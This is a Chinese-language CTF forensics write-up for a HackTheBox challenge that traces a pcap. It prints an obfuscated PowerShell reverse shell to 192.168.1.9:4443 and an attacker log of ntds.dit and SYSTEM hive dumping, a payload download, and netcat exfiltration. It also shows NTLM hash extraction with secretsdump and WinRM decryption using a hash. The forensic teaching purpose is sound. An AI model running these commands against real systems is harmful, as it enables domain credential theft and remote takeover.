从pcap包中解密Winrm流量

介绍

本文内容来自于hackthebox的forensics challenge的Keep the steam going的题解方法

分析pcap数据包

使用”tcp.stream eq 20”在wireshark中过滤数据包,发现一个powershell写的reverse shell,并且混淆过

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sv ('8mxc'+'p')  ([tyPe]("{1}{0}{2}" -f 't.encOdi','tex','nG') ) ;${ClI`E`Nt} = &("{1}{0}{2}"-f 'je','New-Ob','ct') ("{5}{0}{8}{1}{2}{3}{4}{6}{7}" -f'y','m','.Net.So','ckets.T','C','S','PC','lient','ste')(("{0}{1}{2}" -f '192.168','.1','.9'),4443);${sT`Re`Am} = ${C`L`IeNT}.("{0}{2}{1}"-f'Ge','tream','tS').Invoke();[byte[]]${By`T`es} = 0..65535|.('%'){0};while((${i} = ${str`EaM}.("{0}{1}" -f'Re','ad').Invoke(${bY`Tes}, 0, ${by`TEs}."Len`G`TH")) -ne 0){;${d`AtA} = (.("{2}{1}{0}"-f '-Object','w','Ne') -TypeName ("{0}{3}{5}{1}{4}{2}" -f'Syst','ASCI','g','em.Text','IEncodin','.'))."gETSt`R`i`Ng"(${by`TES},0, ${i});${SeN`DBacK} = (.("{0}{1}"-f 'ie','x') ${Da`Ta} 2>&1 | &("{0}{2}{1}"-f'Out-','ing','Str') );${SENdb`AC`k2} = ${s`eNDb`ACK} + "PS " + (.("{1}{0}"-f'd','pw'))."P`ATH" + "> ";${sE`NDBYtE} = (  (  vaRIaBle ('8MXC'+'P')  -ValUe  )::"ASC`Ii").("{2}{1}{0}"-f'es','tByt','Ge').Invoke(${SENdB`AC`K2});${sT`REAM}.("{0}{1}" -f'Writ','e').Invoke(${S`e`NdbY`Te},0,${SE`NDbyTe}."lENG`TH");${S`TR`eAM}.("{1}{0}" -f 'h','Flus').Invoke()};${clIE`Nt}.("{0}{1}"-f 'Cl','ose').Invoke()

使用”tcp.stream eq 21”在wireshark中过滤数据包,发现攻击者以smith用户获取reverse shell后,执行命令dump ntds.dit和SYSTEM hive文件

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PS C:\> whoami;hostname
corp\asmith
corp-dc
PS C:\> ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\temp
Creating snapshot...
Snapshot set {7f610e6f-46fe-4e74-9cc9-baa92f19f67a} generated successfully.
Snapshot {710fb56f-b795-44ef-b88a-d25aa3026d36} mounted as C:\$SNAP_202111051500_VOLUMEC$\
Snapshot {710fb56f-b795-44ef-b88a-d25aa3026d36} is already mounted.
Initiating DEFRAGMENTATION mode...
Source Database: C:\$SNAP_202111051500_VOLUMEC$\Windows\NTDS\ntds.dit
Target Database: c:\temp\Active Directory\ntds.dit

Defragmentation Status (omplete)

0 10 20 30 40 50 60 70 80 90 100
|----|----|----|----|----|----|----|----|----|----|
...................................................

Copying registry files...
Copying c:\temp\registry\SYSTEM
Copying c:\temp\registry\SECURITY
Snapshot {710fb56f-b795-44ef-b88a-d25aa3026d36} unmounted.
IFM media created successfully in c:\temp
ifm: q
C:\Windows\system32\ntdsutil.exe: q
PS C:\> iex (New-Object System.Net.WebClient).DownloadFile("http://192.168.1.9/n.exe","C:\Users\Public\Music\n.exe")
PS C:\> certutil -encode "C:\temp\Active Directory\ntds.dit" "C:\temp\ntds.b64"
Input Length = 33554432
Output Length = 46137402
CertUtil: -encode command completed successfully.
PS C:\> certutil -encode "C:\temp\REGISTRY\SYSTEM" "C:\temp\system.b64"
Input Length = 15204352
Output Length = 20906044
CertUtil: -encode command completed successfully.
PS C:\> cat C:\temp\ntds.b64 | C:\Users\Public\Music\n.exe 192.168.1.9 8080
PS C:\> cat C:\temp\system.b64 | C:\Users\Public\Music\n.exe 192.168.1.9 8080
PS C:\>

使用”tcp.stream eq 23”在wireshark中过滤数据包,发现攻击者使用netcat传输ntds.dit文件,并且经过了base64加密

保存为ntds.dit.b64,并去掉开头的”—–BEGIN CERTIFICATE—–”和结尾的”—–END CERTIFICATE—–”,然后使用下列命令解密还原为原文件

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┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# base64 --decode ntds.dit.b64 > ntds.dit

┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# file ntds.dit
ntds.dit: Extensible storage engine DataBase, version 0x620, checksum 0xe3a0f73e, page size 8192, Windows version 10.0

使用”tcp.stream eq 24”在wireshark中过滤数据包,发现攻击者使用netcat传输system.hive文件,并且经过了base64加密

保存为system.b64,并去掉开头的”—–BEGIN CERTIFICATE—–”和结尾的”—–END CERTIFICATE—–”,然后使用下列命令解密还原为原文件

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┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# base64 --decode system.b64 > system.hive

┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# file system.hive
system.hive: MS Windows registry file, NT/2000 or above

dump NTLM Hashes

显然,ntds.dit和system.hive中都包含大量信息,所以决定把重点放在如果同时利用这两个文件,看看能得到什么。发现为了为域用户提取NTLM hash,从系统中获取这些文件是一种相当常见的策略。Impacket有一个名为secretsdump.py的脚本可以自动提取这些哈希值; Kali Linux已经有了这个脚本,但也可以从github直接下载它

  • secretsdump.py

dump hash的实际命令相对简单,就像解析results的过程一样:

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┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# secretsdump.py -ntds ntds.dit -system system.hive LOCAL
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x406124541b22fb571fb552e27e956557
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 9da98598be012bc4a476100a50a63409
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8bb1f8635e5708eb95aedf142054fc95:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
CORP-DC$:1000:aad3b435b51404eeaad3b435b51404ee:94d5e7460c75a0b30d85744f633a0e66:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9555398600e2b2edf220d06a7c564e6f:::
CORP.local\fcastle:1103:aad3b435b51404eeaad3b435b51404ee:37fbc1731f66ad4e524160a732410f9d:::
CORP.local\jdoe:1104:aad3b435b51404eeaad3b435b51404ee:37fbc1731f66ad4e524160a732410f9d:::
WS01$:1105:aad3b435b51404eeaad3b435b51404ee:cd9c49cc4a1a535d27b64ab23d58f3e6:::
WS02$:1106:aad3b435b51404eeaad3b435b51404ee:98c3974cacc09721a351361504de4de5:::
CORP.local\asmith:1109:aad3b435b51404eeaad3b435b51404ee:acbfc03df96e93cf7294a01a6abbda33:::
[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:6e5d1ccb7642b4bf855975702699f733034916dbd04bf4acddc36ac273b3f578
Administrator:aes128-cts-hmac-sha1-96:8d5709c4a7cab2e0f5fbb4a069b283fb
Administrator:des-cbc-md5:e302c7793b58ae97
CORP-DC$:aes256-cts-hmac-sha1-96:9c888129432a87257f81f6bb6affd91bc3b0ba9cf20e94ef9216364d79aab5bd
CORP-DC$:aes128-cts-hmac-sha1-96:0ac3c714050469724e5c41d21f7f86d3
CORP-DC$:des-cbc-md5:57497ce6972613da
krbtgt:aes256-cts-hmac-sha1-96:85c670ece27dad635c28630454154bb325b644b8f61d44f802b80c39277f529e
krbtgt:aes128-cts-hmac-sha1-96:15bfbb6b827c1904e49d77bf7624c2f4
krbtgt:des-cbc-md5:a2074373b920515d
CORP.local\fcastle:aes256-cts-hmac-sha1-96:c6319d38d781e145161c4b1a4ef11d08ad9be36c43b173b355f78c2cf2edf15a
CORP.local\fcastle:aes128-cts-hmac-sha1-96:144565c25d70678535b2908983d74f6e
CORP.local\fcastle:des-cbc-md5:6b0b2f01a731a78f
CORP.local\jdoe:aes256-cts-hmac-sha1-96:9d74074381d0000525c1cfbb24c2943e28bf415b89c8cf958eae5add39614ac8
CORP.local\jdoe:aes128-cts-hmac-sha1-96:7e0fb5fa7dcfa50ea0a8a55e08b63f74
CORP.local\jdoe:des-cbc-md5:610e67019e9b68ab
WS01$:aes256-cts-hmac-sha1-96:ccc215ff3ac06dc3e206f6e55cd1512f3bb00311d02c77591f3cb08e01d5a40f
WS01$:aes128-cts-hmac-sha1-96:5e94401d7da953a13d42809340ff6ec3
WS01$:des-cbc-md5:9885ea642f268ab3
WS02$:aes256-cts-hmac-sha1-96:dc3f081be6c29532904a073124a0998d857667cc5c531fcbe0f6d3e46d40eac2
WS02$:aes128-cts-hmac-sha1-96:7e494ea36b4fb80670f807a8c72e7b3d
WS02$:des-cbc-md5:b58a08dc9eabbc0d
CORP.local\asmith:aes256-cts-hmac-sha1-96:57e22c0b740ed35935f82a6e34ab84a683437105a4ab2f1f3ba70962d5c53112
CORP.local\asmith:aes128-cts-hmac-sha1-96:392a638579d925cca9e4ef7965b9dcdd
CORP.local\asmith:des-cbc-md5:839bd6e9380e40f7
[*] Cleaning up...

解密winrm流量

当在base64编码的SYSTEM hive通过端口8080完成传输后立即查看流量时,可以看到加密的winrm流量,可以通过解密winrm流量来查看最后的flag。

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tcp.stream eq 25

网上找到了一个据称可以解密winrm 流量的脚本,给出了密码的NTLM HASH,就现在来说,似乎很完美。然而,当试图运行脚本时,失败了。最终,问题似乎归结为未能将pcap捕获数据正确解析为字节。

  • file-winrm_decrypt-py

后面对第208行进行调整,向其中添加了”include_raw=True, use_json=True”,以及第248行,其中”file_data = cap.http.file_data.binary_value”修改为”file_data = cap.http.file_data_raw[0].binary_value”。下面是修改后的版本的github仓库地址:

  • decrypt-winrm

解密winrm流量并获取最后的flag

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┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# python3 /root/decrypt-winrm/winrm_decrypt.py -n 8bb1f8635e5708eb95aedf142054fc95 capture.pcap
unwrap_initiate
No: 21358 | Time: 2021-11-05T07:04:51.144128 | Source: 192.168.1.9 | Destination: 192.168.1.10
<?xml version="1.0" ?>
<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:env="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:b="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:x="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:cfg="http://schemas.microsoft.com/wbem/wsman/1/config">
<env:Header>
<a:To>http://192.168.1.10:5985/wsman</a:To>
<a:ReplyTo>
<a:Address mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<w:MaxEnvelopeSize mustUnderstand="true">153600</w:MaxEnvelopeSize>
<a:MessageID>uuid:2E1BED84-B255-4285-9F46-23B3140DEC55</a:MessageID>
<p:SessionId mustUnderstand="false">uuid:0203E06F-B136-4239-AC80-80F196C3E994</p:SessionId>
<w:Locale xml:lang="en-US" mustUnderstand="false"/>
<p:DataLocale xml:lang="en-US" mustUnderstand="false"/>
<w:OperationTimeout>PT60S</w:OperationTimeout>
<w:ResourceURI mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/config</w:ResourceURI>
<a:Action mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/09/transfer/Get</a:Action>
</env:Header>
<env:Body/>
</env:Envelope>


unwrap_accept
No: 21360 | Time: 2021-11-05T07:04:51.150923 | Source: 192.168.1.10 | Destination: 192.168.1.9
<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:x="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xml:lang="en-US">
<s:Header>
<a:Action>http://schemas.xmlsoap.org/ws/2004/09/transfer/GetResponse</a:Action>
<a:MessageID>uuid:7201F456-9480-4BDD-9CDE-993F1B5397D0</a:MessageID>
<a:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:To>
<a:RelatesTo>uuid:2E1BED84-B255-4285-9F46-23B3140DEC55</a:RelatesTo>
</s:Header>
<s:Body>
<cfg:Config xmlns:cfg="http://schemas.microsoft.com/wbem/wsman/1/config">
<cfg:MaxEnvelopeSizekb>500</cfg:MaxEnvelopeSizekb>
<cfg:MaxTimeoutms>60000</cfg:MaxTimeoutms>
<cfg:MaxBatchItems>32000</cfg:MaxBatchItems>
<cfg:MaxProviderRequests>4294967295</cfg:MaxProviderRequests>
<cfg:Client>
<cfg:NetworkDelayms>5000</cfg:NetworkDelayms>
<cfg:URLPrefix>wsman</cfg:URLPrefix>
<cfg:AllowUnencrypted>false</cfg:AllowUnencrypted>
<cfg:Auth>
<cfg:Basic>true</cfg:Basic>
<cfg:Digest>true</cfg:Digest>
<cfg:Kerberos>true</cfg:Kerberos>
<cfg:Negotiate>true</cfg:Negotiate>
<cfg:Certificate>true</cfg:Certificate>
<cfg:CredSSP>false</cfg:CredSSP>
</cfg:Auth>
<cfg:DefaultPorts>
<cfg:HTTP>5985</cfg:HTTP>
<cfg:HTTPS>5986</cfg:HTTPS>
</cfg:DefaultPorts>
<cfg:TrustedHosts/>
</cfg:Client>
<cfg:Service>
<cfg:RootSDDL>O:NSG:BAD:P(A;;GA;;;BA)(A;;GR;;;IU)S:P(AU;FA;GA;;;WD)(AU;SA;GXGW;;;WD)</cfg:RootSDDL>
<cfg:MaxConcurrentOperations>4294967295</cfg:MaxConcurrentOperations>
<cfg:MaxConcurrentOperationsPerUser>1500</cfg:MaxConcurrentOperationsPerUser>
<cfg:EnumerationTimeoutms>240000</cfg:EnumerationTimeoutms>
<cfg:MaxConnections>300</cfg:MaxConnections>
<cfg:MaxPacketRetrievalTimeSeconds>120</cfg:MaxPacketRetrievalTimeSeconds>
<cfg:AllowUnencrypted>false</cfg:AllowUnencrypted>
<cfg:Auth>
<cfg:Basic>false</cfg:Basic>
<cfg:Kerberos>true</cfg:Kerberos>
<cfg:Negotiate>true</cfg:Negotiate>
<cfg:Certificate>false</cfg:Certificate>
<cfg:CredSSP>false</cfg:CredSSP>
<cfg:CbtHardeningLevel>Relaxed</cfg:CbtHardeningLevel>
</cfg:Auth>
<cfg:DefaultPorts>
<cfg:HTTP>5985</cfg:HTTP>
<cfg:HTTPS>5986</cfg:HTTPS>
</cfg:DefaultPorts>
<cfg:IPv4Filter>*</cfg:IPv4Filter>
<cfg:IPv6Filter>*</cfg:IPv6Filter>
<cfg:EnableCompatibilityHttpListener>false</cfg:EnableCompatibilityHttpListener>
<cfg:EnableCompatibilityHttpsListener>false</cfg:EnableCompatibilityHttpsListener>
<cfg:CertificateThumbprint/>
<cfg:AllowRemoteAccess>true</cfg:AllowRemoteAccess>
</cfg:Service>
<cfg:Winrs>
<cfg:AllowRemoteShellAccess>true</cfg:AllowRemoteShellAccess>
<cfg:IdleTimeout>7200000</cfg:IdleTimeout>
<cfg:MaxConcurrentUsers>2147483647</cfg:MaxConcurrentUsers>
<cfg:MaxShellRunTime>2147483647</cfg:MaxShellRunTime>
<cfg:MaxProcessesPerShell>2147483647</cfg:MaxProcessesPerShell>
<cfg:MaxMemoryPerShellMB>2147483647</cfg:MaxMemoryPerShellMB>
<cfg:MaxShellsPerUser>2147483647</cfg:MaxShellsPerUser>
</cfg:Winrs>
</cfg:Config>
</s:Body>
</s:Envelope>

......more......

获取最终flag,winrm流量解密成功:

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┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# echo "aHTB{" | base64
YUhUQnsK

┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# python3 /root/decrypt-winrm/winrm_decrypt.py -n 8bb1f8635e5708eb95aedf142054fc95 capture.pcap | grep hUQn
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<rsp:Stream Name="stdout" CommandId="8937D38B-70EB-44FB-84C5-DB5752DA7E67">AAAAAAAAABoAAAAAAAAAAAMAAABeAQAAAAQQBACzrAetdF3OT7duxmQ4O6Yxi9M3ietw+0SExdtXUtp+Z++7vzxTPkhUQntuMHRoMW5nXzFzX3RydTNfM3Yzcnl0aDFuZ18xc19kM2NyeXB0M2R9PC9TPg==</rsp:Stream>
unwrap_initiate
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unwrap_initiate
┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# echo AAAAAAAAABoAAAAAAAAAAAMAAABeAQAAAAQQBACzrAetdF3OT7duxmQ4O6Yxi9M3ietw+0SExdtXUtp+Z++7vzxTPkhUQntuMHRoMW5nXzFzX3RydTNfM3Yzcnl0aDFuZ18xc19kM2NyeXB0M2R9PC9TPg== | base64 -d
▒^���t]�O�n�d8;�1��7��p�D���WR�~g<S>HTB{n0th1ng_1s_tru3_3v3ryth1ng_1s_d3crypt3d}</S>

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